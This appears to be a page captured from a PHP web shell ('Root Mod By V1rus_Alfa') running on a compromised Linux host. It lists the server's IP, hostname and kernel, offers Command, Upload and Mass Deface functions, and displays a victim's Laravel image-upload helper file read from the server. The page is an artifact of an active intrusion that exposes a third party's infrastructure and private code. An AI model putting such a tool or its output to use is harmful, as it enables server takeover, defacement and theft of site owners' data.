���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Helpers
/
HelperClass
/
Viewing: GeneralUseDaste.php
<?php namespace App\Helpers\HelperClass; use Carbon\Carbon; use Illuminate\Support\Str; use Intervention\Image\Facades\Image; use Modules\Warehouse\Models\ProductCategory as ProductCategoryModel; class GeneralUseDaste { public static function uploadFile($msg,$type='one') { $year=Carbon::now()->year; $month=Carbon::now()->month; $day=Carbon::now()->day; $filePath="file/{$year}/{$month}/{$day}"; //start edit image $file = $msg; $base64_str = substr($file, strpos($file, ",")+1); $image_before = base64_decode($base64_str); if($type=='one'){ $result=Image::make($image_before)->fit(150,150); }elseif($type=='two'){ $result=Image::make($image_before)->resize(500,null, function ($constraint) { $constraint->aspectRatio(); $constraint->upsize(); }); } $data_url=$result->encode('data-url'); $image_64 = $data_url->encoded; //save storage $extension = explode('/', explode(':', substr($image_64, 0, strpos($image_64, ';')))[1])[1]; // .jpg .png .pdf $replace = substr($image_64, 0, strpos($image_64, ',')+1); $image = str_replace($replace, '', $image_64); $image = str_replace(' ', '+', $image); $imageName = '/upload/'.$filePath.Str::random(10).'.'.$extension; \Storage::disk('ftpdase')->put($imageName, base64_decode($image)); return 'http://shemshetaraz.com/Dasterang'.$imageName; } public static function ProductCategory($id,$categories) { ProductCategoryModel::where('product_id',$id)->delete(); if(count($categories) > 0){ $data = []; foreach ($categories as $item) { $data[] = [ 'product_id'=> $id, 'category_id'=> $item, ]; } $model=ProductCategoryModel::insert($data); } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa